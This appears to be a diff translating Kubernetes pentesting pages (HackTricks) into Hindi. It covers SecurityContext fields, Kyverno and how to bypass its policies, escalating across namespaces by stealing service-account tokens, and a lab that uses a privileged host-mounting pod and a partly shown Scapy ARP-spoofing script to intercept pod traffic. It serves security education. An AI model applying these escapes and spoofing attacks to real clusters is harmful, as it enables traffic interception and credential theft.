| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>privileged</strong></a><br><em>boolean</em></p> | विशेषाधिकार मोड में कंटेनर चलाएँ। विशेषाधिकार वाले कंटेनरों में प्रक्रियाएँ मूल रूप से **होस्ट पर रूट के बराबर** होती हैं। डिफ़ॉल्ट रूप से false। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>procMount</strong></a><br><em>string</em></p> | procMount **कंटेनरों के लिए उपयोग करने के लिए proc माउंट के प्रकार** को दर्शाता है। डिफ़ॉल्ट DefaultProcMount है जो केवल-पढ़ने वाले पथों और मास्क किए गए पथों के लिए कंटेनर रनटाइम डिफ़ॉल्ट का उपयोग करता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>readOnlyRootFilesystem</strong></a><br><em>boolean</em></p> | क्या यह **कंटेनर के पास एक केवल-पढ़ने वाली रूट फ़ाइल प्रणाली है**। डिफ़ॉल्ट रूप से false। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsGroup</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए GID**। यदि सेट नहीं है तो रनटाइम डिफ़ॉल्ट का उपयोग करता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsNonRoot</strong></a><br><em>boolean</em></p> | यह इंगित करता है कि कंटेनर को **गैर-रूट उपयोगकर्ता के रूप में चलाना चाहिए**। यदि सत्य है, तो Kubelet रनटाइम पर छवि को मान्य करेगा ताकि यह सुनिश्चित किया जा सके कि यह UID 0 (रूट) के रूप में नहीं चल रहा है और यदि ऐसा होता है तो कंटेनर शुरू करने में विफल हो जाएगा। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>runAsUser</strong></a><br><em>integer</em></p> | **कंटेनर प्रक्रिया के एंट्रीपॉइंट को चलाने के लिए UID**। यदि निर्दिष्ट नहीं किया गया है तो छवि मेटाडेटा में निर्दिष्ट उपयोगकर्ता का डिफ़ॉल्ट होता है। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seLinuxOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#selinuxoptions-v1-core"><em>SELinuxOptions</em></a><br><em>More info about</em> <em><strong>seLinux</strong></em></p> | **कंटेनर पर लागू होने वाला SELinux संदर्भ**। यदि निर्दिष्ट नहीं किया गया है, तो कंटेनर रनटाइम प्रत्येक कंटेनर के लिए एक यादृच्छिक SELinux संदर्भ आवंटित करेगा। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>seccompProfile</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#seccompprofile-v1-core"><em>SeccompProfile</em></a></p> | इस कंटेनर द्वारा उपयोग करने के लिए **seccomp विकल्प**। |
|
||||
| <p><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core"><strong>windowsOptions</strong></a><br><a href="https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#windowssecuritycontextoptions-v1-core"><em>WindowsSecurityContextOptions</em></a></p> | सभी कंटेनरों पर लागू होने वाले **Windows विशिष्ट सेटिंग्स**। |
|
||||
|
||||
## References
|
||||
|
||||
@@ -60,7 +60,3 @@ Note that the attributes set in **both SecurityContext and PodSecurityContext**,
|
||||
- [https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.23/#securitycontext-v1-core)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,60 +1,54 @@
|
||||
# Kubernetes Kyverno
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Definition 
|
||||
## परिभाषा 
|
||||
|
||||
Kyverno is an open-source, policy management framework for Kubernetes that enables organizations to define, enforce, and audit policies across their entire Kubernetes infrastructure. It provides a scalable, extensible, and highly customizable solution for managing the security, compliance, and governance of Kubernetes clusters.
|
||||
Kyverno एक ओपन-सोर्स, नीति प्रबंधन ढांचा है जो Kubernetes के लिए संगठनों को अपनी पूरी Kubernetes अवसंरचना में नीतियों को परिभाषित, लागू और ऑडिट करने में सक्षम बनाता है। यह Kubernetes क्लस्टरों की सुरक्षा, अनुपालन और शासन प्रबंधन के लिए एक स्केलेबल, विस्तारित और अत्यधिक अनुकूलन योग्य समाधान प्रदान करता है।
|
||||
|
||||
## Use cases
|
||||
## उपयोग के मामले
|
||||
|
||||
Kyverno can be used in a variety of use cases, including:
|
||||
Kyverno का उपयोग विभिन्न उपयोग के मामलों में किया जा सकता है, जिसमें:
|
||||
|
||||
1. **Network Policy Enforcement**: Kyverno can be used to enforce network policies, such as allowing or blocking traffic between pods or services.
|
||||
2. **Secret Management**: Kyverno can be used to enforce secret management policies, such as requiring secrets to be stored in a specific format or location.
|
||||
3. **Access Control**: Kyverno can be used to enforce access control policies, such as requiring users to have specific roles or permissions to access certain resources.
|
||||
1. **नेटवर्क नीति प्रवर्तन**: Kyverno का उपयोग नेटवर्क नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि पॉड्स या सेवाओं के बीच ट्रैफ़िक को अनुमति देना या अवरुद्ध करना।
|
||||
2. **गुप्त प्रबंधन**: Kyverno का उपयोग गुप्त प्रबंधन नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि गुप्तों को एक विशिष्ट प्रारूप या स्थान में संग्रहीत करने की आवश्यकता।
|
||||
3. **पहुँच नियंत्रण**: Kyverno का उपयोग पहुँच नियंत्रण नीतियों को लागू करने के लिए किया जा सकता है, जैसे कि उपयोगकर्ताओं को कुछ संसाधनों तक पहुँचने के लिए विशिष्ट भूमिकाएँ या अनुमतियाँ रखने की आवश्यकता।
|
||||
|
||||
## **Example: ClusterPolicy and Policy**
|
||||
## **उदाहरण: ClusterPolicy और नीति**
|
||||
|
||||
Let's say we have a Kubernetes cluster with multiple namespaces, and we want to enforce a policy that requires all pods in the `default` namespace to have a specific label.
|
||||
मान लीजिए कि हमारे पास कई नामस्थान वाले Kubernetes क्लस्टर हैं, और हम एक नीति लागू करना चाहते हैं जो `default` नामस्थान में सभी पॉड्स के पास एक विशिष्ट लेबल होना आवश्यक है।
|
||||
|
||||
**ClusterPolicy**
|
||||
|
||||
A ClusterPolicy is a high-level policy that defines the overall policy intent. In this case, our ClusterPolicy might look like this:
|
||||
|
||||
ClusterPolicy एक उच्च-स्तरीय नीति है जो समग्र नीति इरादे को परिभाषित करती है। इस मामले में, हमारी ClusterPolicy इस तरह दिख सकती है:
|
||||
```yaml
|
||||
apiVersion: kyverno.io/v1
|
||||
kind: ClusterPolicy
|
||||
metadata:
|
||||
name: require-label
|
||||
name: require-label
|
||||
spec:
|
||||
rules:
|
||||
- validate:
|
||||
message: "Pods in the default namespace must have the label 'app: myapp'"
|
||||
match:
|
||||
any:
|
||||
- resources:
|
||||
kinds:
|
||||
- Pod
|
||||
namespaceSelector:
|
||||
matchLabels:
|
||||
namespace: default
|
||||
- any:
|
||||
- resources:
|
||||
kinds:
|
||||
- Pod
|
||||
namespaceSelector:
|
||||
matchLabels:
|
||||
namespace: default
|
||||
validationFailureAction: enforce
|
||||
rules:
|
||||
- validate:
|
||||
message: "Pods in the default namespace must have the label 'app: myapp'"
|
||||
match:
|
||||
any:
|
||||
- resources:
|
||||
kinds:
|
||||
- Pod
|
||||
namespaceSelector:
|
||||
matchLabels:
|
||||
namespace: default
|
||||
- any:
|
||||
- resources:
|
||||
kinds:
|
||||
- Pod
|
||||
namespaceSelector:
|
||||
matchLabels:
|
||||
namespace: default
|
||||
validationFailureAction: enforce
|
||||
```
|
||||
|
||||
When a pod is created in the `default` namespace without the label `app: myapp`, Kyverno will block the request and return an error message indicating that the pod does not meet the policy requirements.
|
||||
जब `default` namespace में `app: myapp` लेबल के बिना एक pod बनाया जाता है, तो Kyverno अनुरोध को ब्लॉक कर देगा और एक त्रुटि संदेश लौटाएगा जो यह दर्शाता है कि pod नीति आवश्यकताओं को पूरा नहीं करता है।
|
||||
|
||||
## References
|
||||
|
||||
* [https://kyverno.io/](https://kyverno.io/)
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+26
-36
@@ -1,64 +1,54 @@
|
||||
# Kubernetes Kyverno bypass
|
||||
|
||||
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
**इस पृष्ठ के मूल लेखक हैं** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
|
||||
|
||||
## Abusing policies misconfiguration
|
||||
## नीतियों की गलत कॉन्फ़िगरेशन का दुरुपयोग
|
||||
|
||||
### Enumerate rules
|
||||
|
||||
Having an overview may help to know which rules are active, on which mode and who can bypass it
|
||||
### नियमों की गणना करें
|
||||
|
||||
एक अवलोकन होना मददगार हो सकता है यह जानने के लिए कि कौन से नियम सक्रिय हैं, किस मोड में हैं और कौन इसे बायपास कर सकता है
|
||||
```bash
|
||||
$ kubectl get clusterpolicies
|
||||
$ kubectl get policies
|
||||
```
|
||||
|
||||
### Enumerate Excluded
|
||||
|
||||
For each ClusterPolicy and Policy, you can specify a list of excluded entities, including:
|
||||
प्रत्येक ClusterPolicy और Policy के लिए, आप बाहर किए गए संस्थाओं की एक सूची निर्दिष्ट कर सकते हैं, जिसमें शामिल हैं:
|
||||
|
||||
- Groups: `excludedGroups`
|
||||
- Users: `excludedUsers`
|
||||
- Service Accounts (SA): `excludedServiceAccounts`
|
||||
- Roles: `excludedRoles`
|
||||
- Cluster Roles: `excludedClusterRoles`
|
||||
- समूह: `excludedGroups`
|
||||
- उपयोगकर्ता: `excludedUsers`
|
||||
- सेवा खाते (SA): `excludedServiceAccounts`
|
||||
- भूमिकाएँ: `excludedRoles`
|
||||
- क्लस्टर भूमिकाएँ: `excludedClusterRoles`
|
||||
|
||||
These excluded entities will be exempt from the policy requirements, and Kyverno will not enforce the policy for them.
|
||||
ये बाहर की गई संस्थाएँ नीति की आवश्यकताओं से छूट प्राप्त करेंगी, और Kyverno उनके लिए नीति को लागू नहीं करेगा।
|
||||
|
||||
## Example 
|
||||
|
||||
Let's dig into one clusterpolicy example : 
|
||||
|
||||
आइए एक clusterpolicy उदाहरण में गहराई से जाएँ : 
|
||||
```
|
||||
$ kubectl get clusterpolicies MYPOLICY -o yaml
|
||||
```
|
||||
|
||||
Look for the excluded entities : 
|
||||
|
||||
निष्क्रिय की गई संस्थाओं की तलाश करें : 
|
||||
```yaml
|
||||
exclude:
|
||||
any:
|
||||
- clusterRoles:
|
||||
- cluster-admin
|
||||
- subjects:
|
||||
- kind: User
|
||||
name: system:serviceaccount:DUMMYNAMESPACE:admin
|
||||
- kind: User
|
||||
name: system:serviceaccount:TEST:thisisatest
|
||||
- kind: User
|
||||
name: system:serviceaccount:AHAH:*
|
||||
any:
|
||||
- clusterRoles:
|
||||
- cluster-admin
|
||||
- subjects:
|
||||
- kind: User
|
||||
name: system:serviceaccount:DUMMYNAMESPACE:admin
|
||||
- kind: User
|
||||
name: system:serviceaccount:TEST:thisisatest
|
||||
- kind: User
|
||||
name: system:serviceaccount:AHAH:*
|
||||
```
|
||||
क्लस्टर के भीतर, कई अतिरिक्त घटक, ऑपरेटर और अनुप्रयोगों को क्लस्टर नीति से बाहर करने की आवश्यकता हो सकती है। हालाँकि, इसे विशेषाधिकार प्राप्त संस्थाओं को लक्षित करके शोषण किया जा सकता है। कुछ मामलों में, यह प्रतीत हो सकता है कि एक नामस्थान मौजूद नहीं है या आपके पास एक उपयोगकर्ता का अनुकरण करने की अनुमति नहीं है, जो गलत कॉन्फ़िगरेशन का संकेत हो सकता है।
|
||||
|
||||
Within a cluster, numerous added components, operators, and applications may necessitate exclusion from a cluster policy. However, this can be exploited by targeting privileged entities. In some cases, it may appear that a namespace does not exist or that you lack permission to impersonate a user, which can be a sign of misconfiguration.
|
||||
## ValidatingWebhookConfiguration का दुरुपयोग
|
||||
|
||||
## Abusing ValidatingWebhookConfiguration
|
||||
|
||||
Another way to bypass policies is to focus on the ValidatingWebhookConfiguration resource : 
|
||||
नीतियों को बायपास करने का एक और तरीका ValidatingWebhookConfiguration संसाधन पर ध्यान केंद्रित करना है : 
|
||||
|
||||
{{#ref}}
|
||||
../kubernetes-validatingwebhookconfiguration.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,36 +2,32 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
In Kubernetes it's pretty common that somehow **you manage to get inside a namespace** (by stealing some user credentials or by compromising a pod). However, usually you will be interested in **escalating to a different namespace as more interesting things can be found there**.
|
||||
Kubernetes में यह काफी सामान्य है कि किसी तरह **आप एक namespace के अंदर पहुँच जाते हैं** (कुछ उपयोगकर्ता क्रेडेंशियल चुराकर या एक pod को समझौता करके)। हालाँकि, आमतौर पर आप **एक अलग namespace में बढ़ने में रुचि रखते हैं क्योंकि वहाँ अधिक दिलचस्प चीजें मिल सकती हैं**।
|
||||
|
||||
Here are some techniques you can try to escape to a different namespace:
|
||||
यहाँ कुछ तकनीकें हैं जिन्हें आप एक अलग namespace में भागने के लिए आजमा सकते हैं:
|
||||
|
||||
### Abuse K8s privileges
|
||||
### K8s विशेषाधिकारों का दुरुपयोग
|
||||
|
||||
Obviously if the account you have stolen have sensitive privileges over the namespace you can to escalate to, you can abuse actions like **creating pods** with service accounts in the NS, **executing** a shell in an already existent pod inside of the ns, or read the **secret** SA tokens.
|
||||
स्पष्ट रूप से, यदि आपके पास जो खाता चुराया गया है, उसके पास उस namespace पर संवेदनशील विशेषाधिकार हैं जिसमें आप बढ़ना चाहते हैं, तो आप **namespace में सेवा खातों के साथ pods बनाने**, **एक मौजूदा pod के अंदर एक शेल निष्पादित करने**, या **गुप्त** SA टोकन पढ़ने जैसी क्रियाओं का दुरुपयोग कर सकते हैं।
|
||||
|
||||
For more info about which privileges you can abuse read:
|
||||
आप जिन विशेषाधिकारों का दुरुपयोग कर सकते हैं, उनके बारे में अधिक जानकारी के लिए पढ़ें:
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
### Escape to the node
|
||||
### नोड पर भागना
|
||||
|
||||
If you can escape to the node either because you have compromised a pod and you can escape or because you ca create a privileged pod and escape you could do several things to steal other SAs tokens:
|
||||
यदि आप नोड पर भाग सकते हैं या तो इसलिए कि आपने एक pod को समझौता किया है और आप भाग सकते हैं या इसलिए कि आप एक विशेषाधिकार प्राप्त pod बना सकते हैं और भाग सकते हैं, तो आप अन्य SA टोकन चुराने के लिए कई चीजें कर सकते हैं:
|
||||
|
||||
- Check for **SAs tokens mounted in other docker containers** running in the node
|
||||
- Check for new **kubeconfig files in the node with extra permissions** given to the node
|
||||
- If enabled (or enable it yourself) try to **create mirrored pods of other namespaces** as you might get access to those namespaces default token accounts (I haven't tested this yet)
|
||||
- नोड पर चल रहे अन्य डॉकर कंटेनरों में **SA टोकन** के लिए जांचें
|
||||
- नोड में **नए kubeconfig फ़ाइलों** के लिए जांचें जिनमें नोड को अतिरिक्त अनुमतियाँ दी गई हैं
|
||||
- यदि सक्षम है (या इसे स्वयं सक्षम करें) तो **अन्य namespaces के मिरर किए गए pods बनाने** की कोशिश करें क्योंकि आप उन namespaces के डिफ़ॉल्ट टोकन खातों तक पहुँच प्राप्त कर सकते हैं (मैंने अभी तक इसका परीक्षण नहीं किया है)
|
||||
|
||||
All these techniques are explained in:
|
||||
इन सभी तकनीकों को समझाया गया है:
|
||||
|
||||
{{#ref}}
|
||||
attacking-kubernetes-from-inside-a-pod.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,92 +4,91 @@
|
||||
|
||||
## Introduction
|
||||
|
||||
In Kubernetes, it is observed that a default behavior permits the establishment of connections between **all containers residing on the same node**. This applies irrespective of the namespace distinctions. Such connectivity extends down to **Layer 2** (Ethernet). Consequently, this configuration potentially exposes the system to vulnerabilities. Specifically, it opens up the possibility for a **malicious container** to execute an **ARP spoofing attack** against other containers situated on the same node. During such an attack, the malicious container can deceitfully intercept or modify the network traffic intended for other containers.
|
||||
Kubernetes में, यह देखा गया है कि एक डिफ़ॉल्ट व्यवहार **सभी कंटेनरों के बीच कनेक्शन स्थापित करने की अनुमति देता है जो एक ही नोड पर स्थित हैं**। यह नामस्थान भिन्नताओं की परवाह किए बिना लागू होता है। इस प्रकार की कनेक्टिविटी **लेयर 2** (ईथरनेट) तक फैली हुई है। नतीजतन, यह कॉन्फ़िगरेशन संभावित रूप से सिस्टम को कमजोरियों के प्रति उजागर करता है। विशेष रूप से, यह एक **दुष्ट कंटेनर** के लिए **ARP स्पूफिंग अटैक** को अन्य कंटेनरों के खिलाफ निष्पादित करने की संभावना खोलता है जो उसी नोड पर स्थित हैं। ऐसे हमले के दौरान, दुष्ट कंटेनर धोखे से अन्य कंटेनरों के लिए निर्धारित नेटवर्क ट्रैफ़िक को इंटरसेप्ट या संशोधित कर सकता है।
|
||||
|
||||
ARP spoofing attacks involve the **attacker sending falsified ARP** (Address Resolution Protocol) messages over a local area network. This results in the linking of the **attacker's MAC address with the IP address of a legitimate computer or server on the network**. Post successful execution of such an attack, the attacker can intercept, modify, or even stop data in-transit. The attack is executed on Layer 2 of the OSI model, which is why the default connectivity in Kubernetes at this layer raises security concerns.
|
||||
ARP स्पूफिंग हमलों में **हमलावर द्वारा स्थानीय क्षेत्र नेटवर्क पर गलत ARP** (एड्रेस रिज़ॉल्यूशन प्रोटोकॉल) संदेश भेजना शामिल है। इसके परिणामस्वरूप **हमलावर के MAC पते को नेटवर्क पर एक वैध कंप्यूटर या सर्वर के IP पते के साथ जोड़ा जाता है**। ऐसे हमले के सफल निष्पादन के बाद, हमलावर डेटा को इंटरसेप्ट, संशोधित या यहां तक कि ट्रांजिट में रोक सकता है। यह हमला OSI मॉडल की लेयर 2 पर निष्पादित होता है, यही कारण है कि Kubernetes में इस स्तर पर डिफ़ॉल्ट कनेक्टिविटी सुरक्षा चिंताओं को बढ़ाती है।
|
||||
|
||||
In the scenario 4 machines are going to be created:
|
||||
|
||||
- ubuntu-pe: Privileged machine to escape to the node and check metrics (not needed for the attack)
|
||||
- **ubuntu-attack**: **Malicious** container in default namespace
|
||||
- **ubuntu-victim**: **Victim** machine in kube-system namespace
|
||||
- **mysql**: **Victim** machine in default namespace
|
||||
परिदृश्य में 4 मशीनें बनाई जाने वाली हैं:
|
||||
|
||||
- ubuntu-pe: नोड पर भागने और मैट्रिक्स की जांच करने के लिए विशेषाधिकार प्राप्त मशीन (हमले के लिए आवश्यक नहीं)
|
||||
- **ubuntu-attack**: **दुष्ट** कंटेनर डिफ़ॉल्ट नामस्थान में
|
||||
- **ubuntu-victim**: **शिकार** मशीन kube-system नामस्थान में
|
||||
- **mysql**: **शिकार** मशीन डिफ़ॉल्ट नामस्थान में
|
||||
```yaml
|
||||
echo 'apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: ubuntu-pe
|
||||
name: ubuntu-pe
|
||||
spec:
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-pe
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: true
|
||||
privileged: true
|
||||
runAsUser: 0
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: host-volume
|
||||
restartPolicy: Never
|
||||
hostIPC: true
|
||||
hostNetwork: true
|
||||
hostPID: true
|
||||
volumes:
|
||||
- name: host-volume
|
||||
hostPath:
|
||||
path: /
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-pe
|
||||
securityContext:
|
||||
allowPrivilegeEscalation: true
|
||||
privileged: true
|
||||
runAsUser: 0
|
||||
volumeMounts:
|
||||
- mountPath: /host
|
||||
name: host-volume
|
||||
restartPolicy: Never
|
||||
hostIPC: true
|
||||
hostNetwork: true
|
||||
hostPID: true
|
||||
volumes:
|
||||
- name: host-volume
|
||||
hostPath:
|
||||
path: /
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: ubuntu-attack
|
||||
labels:
|
||||
app: ubuntu
|
||||
name: ubuntu-attack
|
||||
labels:
|
||||
app: ubuntu
|
||||
spec:
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-attack
|
||||
restartPolicy: Never
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-attack
|
||||
restartPolicy: Never
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: ubuntu-victim
|
||||
namespace: kube-system
|
||||
name: ubuntu-victim
|
||||
namespace: kube-system
|
||||
spec:
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-victim
|
||||
restartPolicy: Never
|
||||
containers:
|
||||
- image: ubuntu
|
||||
command:
|
||||
- "sleep"
|
||||
- "360000"
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: ubuntu-victim
|
||||
restartPolicy: Never
|
||||
---
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
metadata:
|
||||
name: mysql
|
||||
name: mysql
|
||||
spec:
|
||||
containers:
|
||||
- image: mysql:5.6
|
||||
ports:
|
||||
- containerPort: 3306
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: mysql
|
||||
env:
|
||||
- name: MYSQL_ROOT_PASSWORD
|
||||
value: mysql
|
||||
restartPolicy: Never' | kubectl apply -f -
|
||||
containers:
|
||||
- image: mysql:5.6
|
||||
ports:
|
||||
- containerPort: 3306
|
||||
imagePullPolicy: IfNotPresent
|
||||
name: mysql
|
||||
env:
|
||||
- name: MYSQL_ROOT_PASSWORD
|
||||
value: mysql
|
||||
restartPolicy: Never' | kubectl apply -f -
|
||||
```
|
||||
|
||||
```bash
|
||||
@@ -97,33 +96,31 @@ kubectl exec -it ubuntu-attack -- bash -c "apt update; apt install -y net-tools
|
||||
kubectl exec -it ubuntu-victim -n kube-system -- bash -c "apt update; apt install -y net-tools curl netcat mysql-client; bash"
|
||||
kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; bash"
|
||||
```
|
||||
|
||||
## Basic Kubernetes Networking
|
||||
|
||||
If you want more details about the networking topics introduced here, go to the references.
|
||||
यदि आप यहां प्रस्तुत नेटवर्किंग विषयों के बारे में अधिक विवरण चाहते हैं, तो संदर्भों पर जाएं।
|
||||
|
||||
### ARP
|
||||
|
||||
Generally speaking, **pod-to-pod networking inside the node** is available via a **bridge** that connects all pods. This bridge is called “**cbr0**”. (Some network plugins will install their own bridge.) The **cbr0 can also handle ARP** (Address Resolution Protocol) resolution. When an incoming packet arrives at cbr0, it can resolve the destination MAC address using ARP.
|
||||
सामान्यत: **नोड के अंदर पोड-से-पोड नेटवर्किंग** एक **ब्रिज** के माध्यम से उपलब्ध है जो सभी पोड्स को जोड़ता है। इस ब्रिज को “**cbr0**” कहा जाता है। (कुछ नेटवर्क प्लगइन्स अपने स्वयं के ब्रिज को स्थापित करेंगे।) **cbr0 ARP** (एड्रेस रिज़ॉल्यूशन प्रोटोकॉल) समाधान को भी संभाल सकता है। जब एक इनकमिंग पैकेट cbr0 पर आता है, तो यह ARP का उपयोग करके गंतव्य MAC पते को हल कर सकता है।
|
||||
|
||||
This fact implies that, by default, **every pod running in the same node** is going to be able to **communicate** with any other pod in the same node (independently of the namespace) at ethernet level (layer 2).
|
||||
यह तथ्य यह संकेत करता है कि, डिफ़ॉल्ट रूप से, **एक ही नोड में चलने वाला हर पोड** किसी अन्य पोड के साथ **संवाद** करने में सक्षम होगा (नेमस्पेस के स्वतंत्र) एथरनेट स्तर (लेयर 2) पर।
|
||||
|
||||
> [!WARNING]
|
||||
> Therefore, it's possible to perform A**RP Spoofing attacks between pods in the same node.**
|
||||
> इसलिए, एक ही नोड में पोड्स के बीच A**RP Spoofing हमले करना संभव है।**
|
||||
|
||||
### DNS
|
||||
|
||||
In kubernetes environments you will usually find 1 (or more) **DNS services running** usually in the kube-system namespace:
|
||||
|
||||
कुबेरनेट्स वातावरण में आप आमतौर पर 1 (या अधिक) **DNS सेवाएं चलती हुई पाएंगे** जो आमतौर पर kube-system नेमस्पेस में होती हैं:
|
||||
```bash
|
||||
kubectl -n kube-system describe services
|
||||
Name: kube-dns
|
||||
Namespace: kube-system
|
||||
Labels: k8s-app=kube-dns
|
||||
kubernetes.io/cluster-service=true
|
||||
kubernetes.io/name=KubeDNS
|
||||
kubernetes.io/cluster-service=true
|
||||
kubernetes.io/name=KubeDNS
|
||||
Annotations: prometheus.io/port: 9153
|
||||
prometheus.io/scrape: true
|
||||
prometheus.io/scrape: true
|
||||
Selector: k8s-app=kube-dns
|
||||
Type: ClusterIP
|
||||
IP Families: <none>
|
||||
@@ -139,33 +136,29 @@ Port: metrics 9153/TCP
|
||||
TargetPort: 9153/TCP
|
||||
Endpoints: 172.17.0.2:9153
|
||||
```
|
||||
|
||||
In the previous info you can see something interesting, the **IP of the service** is **10.96.0.10** but the **IP of the pod** running the service is **172.17.0.2.**
|
||||
|
||||
If you check the DNS address inside any pod you will find something like this:
|
||||
|
||||
यदि आप किसी भी पोड के अंदर DNS पते की जांच करते हैं, तो आपको कुछ ऐसा मिलेगा:
|
||||
```
|
||||
cat /etc/resolv.conf
|
||||
nameserver 10.96.0.10
|
||||
```
|
||||
हालांकि, **पॉड** को उस **पता** तक पहुँचने का तरीका **नहीं पता** है क्योंकि इस मामले में **पॉड रेंज** 172.17.0.10/26 है।
|
||||
|
||||
However, the pod **doesn't know** how to get to that **address** because the **pod range** in this case is 172.17.0.10/26.
|
||||
|
||||
Therefore, the pod will send the **DNS requests to the address 10.96.0.10** which will be **translated** by the cbr0 **to** **172.17.0.2**.
|
||||
इसलिए, **पॉड** **DNS अनुरोधों को 10.96.0.10 के पते पर** भेजेगा जिसे cbr0 द्वारा **172.17.0.2** में **अनुवादित** किया जाएगा।
|
||||
|
||||
> [!WARNING]
|
||||
> This means that a **DNS request** of a pod is **always** going to go the **bridge** to **translate** the **service IP to the endpoint IP**, even if the DNS server is in the same subnetwork as the pod.
|
||||
> इसका मतलब है कि एक **पॉड का DNS अनुरोध** **हमेशा** **ब्रिज** की ओर जाएगा **सेवा IP को अंत बिंदु IP में अनुवादित** करने के लिए, भले ही DNS सर्वर पॉड के समान उपनेटवर्क में हो।
|
||||
>
|
||||
> Knowing this, and knowing **ARP attacks are possible**, a **pod** in a node is going to be able to **intercept the traffic** between **each pod** in the **subnetwork** and the **bridge** and **modify** the **DNS responses** from the DNS server (**DNS Spoofing**).
|
||||
> यह जानकर, और यह जानकर कि **ARP हमले संभव हैं**, एक **पॉड** एक नोड में **उपनेटवर्क** में **प्रत्येक पॉड** और **ब्रिज** के बीच **ट्रैफ़िक को इंटरसेप्ट** करने में सक्षम होगा और DNS सर्वर से **DNS प्रतिक्रियाओं को संशोधित** करेगा (**DNS Spoofing**).
|
||||
>
|
||||
> Moreover, if the **DNS server** is in the **same node as the attacker**, the attacker can **intercept all the DNS request** of any pod in the cluster (between the DNS server and the bridge) and modify the responses.
|
||||
> इसके अलावा, यदि **DNS सर्वर** **हमलावर के समान नोड में** है, तो हमलावर क्लस्टर में किसी भी पॉड के सभी DNS अनुरोधों को (DNS सर्वर और ब्रिज के बीच) **इंटरसेप्ट** कर सकता है और प्रतिक्रियाओं को संशोधित कर सकता है।
|
||||
|
||||
## ARP Spoofing in pods in the same Node
|
||||
## समान नोड में पॉड्स में ARP Spoofing
|
||||
|
||||
Our goal is to **steal at least the communication from the ubuntu-victim to the mysql**.
|
||||
हमारा लक्ष्य है कि **कम से कम ubuntu-victim से mysql तक की संचार को चुराना**।
|
||||
|
||||
### Scapy
|
||||
|
||||
```bash
|
||||
python3 /tmp/arp_spoof.py
|
||||
Enter Target IP:172.17.0.10 #ubuntu-victim
|
||||
@@ -187,75 +180,69 @@ ngrep -d eth0
|
||||
from scapy.all import *
|
||||
|
||||
def getmac(targetip):
|
||||
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
|
||||
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
|
||||
return targetmac
|
||||
arppacket= Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(op=1, pdst=targetip)
|
||||
targetmac= srp(arppacket, timeout=2 , verbose= False)[0][0][1].hwsrc
